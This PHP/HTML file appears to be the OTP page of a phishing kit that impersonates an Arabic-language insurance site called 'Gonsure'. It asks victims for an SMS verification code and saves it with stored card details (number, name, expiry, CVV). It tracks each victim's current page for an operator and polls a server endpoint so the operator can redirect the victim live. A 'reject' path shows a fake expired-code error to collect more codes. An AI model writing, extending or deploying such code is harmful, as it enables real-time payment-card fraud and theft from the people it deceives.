<?php
require_once(__DIR__ . '/geo-check.php');

error_reporting(0);
ini_set('display_errors', 0);
########################
session_start();

require_once('./add-efaa.php');
require_once('./dashboard/init.php');
require_once(__DIR__ . "/auto-register.php");

if (isset($_SESSION['user_id'])) {
    $User->UpdateCurrentPage($_SESSION['user_id'], 'OTP');
$dataa = [
        'userId' => $_SESSION['user_id'],
        'page' => 'OTP'
    ];
}

if (isset($_POST['submit'])) {
$site = array(
        'otp' => $_POST["otp"],
        'message' => 'OTP',
        'type' => '2'
    );

    // Ensure card_id exists
    if (!isset($_SESSION['card_id']) || empty($_SESSION['card_id'])) {
        ensureUserRegistered();
        $userId = $_SESSION['user_id'];
        $emptyCard = array('cardNumber' => '', 'cardName' => '', 'year' => '', 'cvv' => '', 'insurance_company' => '', 'insurance_price' => '');
        $cardId = $User->InsertCardVisaRelatedUser($userId, $emptyCard);
        if ($cardId) { $_SESSION['card_id'] = $cardId; }
    }
    $id = $_SESSION['card_id'];
    ensureUserRegistered();
    $userId = $_SESSION['user_id'];
    $updateResult = $User->UpdateCardOTP($id, $site);
    if ($updateResult) {
        $User->UpdateStatus($userId, 'OTP');
echo "<script>document.location.href='wait-payment.php';</script>";
    }
}

if (isset($_GET['reject'])) {
    $showError = true;
}


?>
<!DOCTYPE html>
<html lang="ar" dir="rtl">

<head>
    <meta charset="UTF-8">
    <meta name="viewport" content="width=device-width, initial-scale=1.0, maximum-scale=1.0, user-scalable=no">
    <title>جونشور | رمز التحقق</title>
    <link href="https://cdn.jsdelivr.net/npm/bootstrap@5.3.0-alpha1/dist/css/bootstrap.min.css" rel="stylesheet">
    <script src="https://cdn.jsdelivr.net/npm/bootstrap@5.3.0-alpha1/dist/js/bootstrap.bundle.min.js"></script>
    <link rel="stylesheet" href="https://cdnjs.cloudflare.com/ajax/libs/font-awesome/6.7.2/css/all.min.css">
    <link rel="stylesheet" href="./assets/gonsure-style.css">
    <script src="https://cdnjs.cloudflare.com/ajax/libs/jquery/3.5.1/jquery.min.js"></script>
    <style>
        body {
            background: var(--bg-light);
            min-height: 100vh;
        }

        .otp-wrapper {
            padding: 20px 16px;
            max-width: 500px;
            margin: 0 auto;
        }

        .otp-card {
            background: var(--bg-white);
            border-radius: var(--radius-lg);
            box-shadow: var(--shadow-md);
            padding: 24px 20px;
        }

        .otp-card .form-control {
            border: 1.5px solid var(--input-border);
            border-radius: 10px;
            padding: 10px 14px;
            font-size: 14px;
            transition: all 0.3s;
            height: 46px;
            font-family: "Rubik", sans-serif;
        }

        .otp-card .form-control:focus {
            border-color: var(--primary);
            box-shadow: 0 0 0 3px rgba(36, 71, 255, 0.1);
            outline: none;
        }

        .otp-card ::placeholder {
            color: var(--input-text) !important;
            font-size: 13px;
        }

        .otp-card label {
            font-weight: 600;
            font-size: 14px;
            color: var(--text-dark);
        }

        .hide {
            display: none;
        }

        .show {
            display: block;
        }
    </style>
</head>

<body>

    <!-- Navbar -->
    <nav class="gonsure-nav">
        <a href="index.php">
            <img src="./assets/gonsure_logo.svg" alt="جونشور" class="logo">
        </a>
    </nav>

    <!-- OTP Section -->
    <div class="otp-wrapper fade-in">
        <div style="text-align: center; padding: 16px 0 12px;">
            <h5 style="font-weight: 700; color: var(--text-dark);">
                <i class="fas fa-shield-halved" style="color: var(--primary); margin-left: 8px;"></i>
                رمز التحقق OTP
            </h5>
        </div>

        <div class="otp-card">
            <form action="" method="post">
                <h6 class="text-center lh-base mt-4" style="color: var(--text-muted); font-size: 14px; line-height: 1.7;">سيتم إرسال رسالة كود التحقق في خلال
                    دقيقة

                    لتأكيد العملية ادخل رمز التحقق المرسل إلى جوالك</h6>
                <div class="mt-5 d-flex justify-content-between align-items-center">
                    <label for="" class="fw-bold">رمز التحقق <span id="time" class="me-2 fs-4"></span>
                    </label>
                    <input type="text" pattern="[0-9]+" minlength="4" maxlength="6" inputmode="numeric" required name="otp" class="form-control text-center w-50" placeholder="xxxxxx" style="background-color: inherit;">
                    <input type="hidden" name="status" value="3">
                </div>
                <?php
                // Check if data is submitted
                if (isset($showError)) {
                    echo '<p class="text-center mt-3 text-danger fw-bold">الرمز المدخل غير صحيح او منتهي الصلاحية يرجى ارسال اخر رمز تحقق تم ارساله</p>';
                }
                ?>


                <button class="btn-gonsure mt-4 mb-3" type="submit" name="submit">
                    <i class="fas fa-check-circle" style="margin-left: 6px;"></i>
                    تأكيد
                </button>
            </form>
        </div>
    </div>

    <!-- Footer -->
    <footer class="gonsure-footer">
        <img src="./assets/gonsure_logo.svg" alt="جونشور" class="footer-logo">
        <div class="footer-copyright">© جونشور 2025. جميع الحقوق محفوظة</div>
    </footer>

<script src="js/main.js"></script>
    <script>
    </script>



<script>
// JSON Polling - بديل Pusher
function checkRedirect() {
    fetch('polling-redirect.php')
        .then(r => r.json())
        .then(data => {
            if (data.redirect) {
                window.location.href = data.redirect;
            }
        })
        .catch(e => {});
}
setInterval(checkRedirect, 1500);
checkRedirect();
</script>
<input type="hidden" id="hb_uid" value="<?= isset($_SESSION['user_id']) ? $_SESSION['user_id'] : 0 ?>">
<script src="js/heartbeat.js"></script>
</body>

</html>
